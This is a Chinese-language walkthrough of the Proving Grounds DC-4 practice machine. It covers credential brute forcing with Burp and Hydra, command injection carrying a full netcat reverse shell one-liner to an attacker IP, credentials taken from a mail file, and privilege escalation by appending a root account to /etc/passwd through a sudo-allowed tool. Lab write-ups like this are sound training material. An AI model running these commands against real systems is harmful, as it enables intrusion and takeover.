Proving Grounds Play : DC-4 Walkthrough
Proving Grounds Play : DC-4 Walkthrough
Foothold :
- 80 Port 網站是一個 admin 的 command UI 網頁
- 透過 Burp Suite 爆破得到憑證
- 登入後可以點選幾個基本的 command 動作送出
- 將送出的 POST 送到 Burp Suite 修改指令，改送出 RM Reverse Shell 成功獲取登入
PE :
- 在 Jim 的 HOME 目錄底下發現一個就的密碼檔
- 使用 Hydra 獲得新的憑證，使用新的憑證 SSH 登入
- 進行一番枚舉後發現 SMTP 服務與 /usr/mail 目錄，底下有一個郵件內容備份檔
- 於檔案中獲取另外一個使用者的憑證，改用另一個使用者憑證 SSH 登入
- sudo -l 發現可以執行一個特殊的指令，該指令可以在任一檔案添加想要的內容
- 使用該指令添加一筆 root 使用者到 /etc/passwd，su 切換 root 使用者成功提權
Rustscan，└─$ rustscan -a 192.168.151.195 --scripts none --ulimit 5000 | tee rustscan
snmp，└─$ sudo nmap -sU -p 161 192.168.151.195 | tee snmp
nmap，└─$ sudo nmap -sCV -A -p 22,80 192.168.151.195 | tee nmap
whatweb
80 /
測試幾組常用帳號密碼組合都失敗
80 /robots.txt
gobuster 80 /
gobuster 80 /css
gobuster 80 /images
sqlmap 直接打登入欄位告知沒注入
改使用 Burp Suite 暴力破解看看，先設定密碼為參數，帳號固定為 admin
跑到一半看來是破解了，獲得憑證 admin:happy
使用 admin:happy 登入成功
點選 command 後有三個指令，使用第一個 List Files 測試看看
成功執行 ls l 並顯示如下
將網頁執行的結果送到 Burp Suite
送出 whoami 顯示 www-data
直接塞入 rm Reverse Shell 指令 rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.168 4444 >/tmp/f
成功拿到 Reverse Shell 了
獲取第一階段 flag local.txt
開始 PE，cat /etc/passwd
使用者帳號 charles、jim、sam
jim HOME 目錄底下有個 backups 資料夾，裡面有個 old-passwords.bak 檔案
做好帳號密碼檔爆破看看 └─$ hydra -L ./usernames.txt -P ./passwords.txt ssh://192.168.151.195 -V
確認可以直接 SSH 登入
sudo -l
SUID check，在自己的 HOME 目錄下有個 test.sh 有 SUID 權限
將檔案內容改成 /bin/bash -p 然後執行看看，結果沒有成功提權
linpeas 看一下，在 netstat 發現本機有跑 SMTP 服務
發現有個特別的檔案 /var/mail/jim
/var/mail/jim 發現 charles 的憑證 charles:^xHhA&hvim0y
成功使用 charles 的憑證 SSH 登入靶機
sudo -l 發現 tee 指令，查了 GTFO 沒有可利用
執行後看一下 help
看來可以 append 附加東西到檔案中
執行 charles@dc-4:~$ sudo /usr/bin/teehee -a /etc/passwd
附加一個 root 使用者憑證 aries:Oscp#1234
輸入完畢後使用 ctrl+c 結束，再用 cat /etc/passwd 看一下確實有添加進檔案
su aries 輸入密碼結果 GG，應該是那個 "\" 造成
再加一個 aries2 然後將 "/" 拿掉
aries2:$1$qaKzzjN8$y6Ga3/.6H2y8.LOryHjhZ.:0:0:/root:/bin/bash
su aries2 輸入密碼成功 root，獲取 proof.txt
補充說明 :
有關 teehee 可以參考 https://www.cnblogs.com/tzf1/p/16201826.html
留言
張貼留言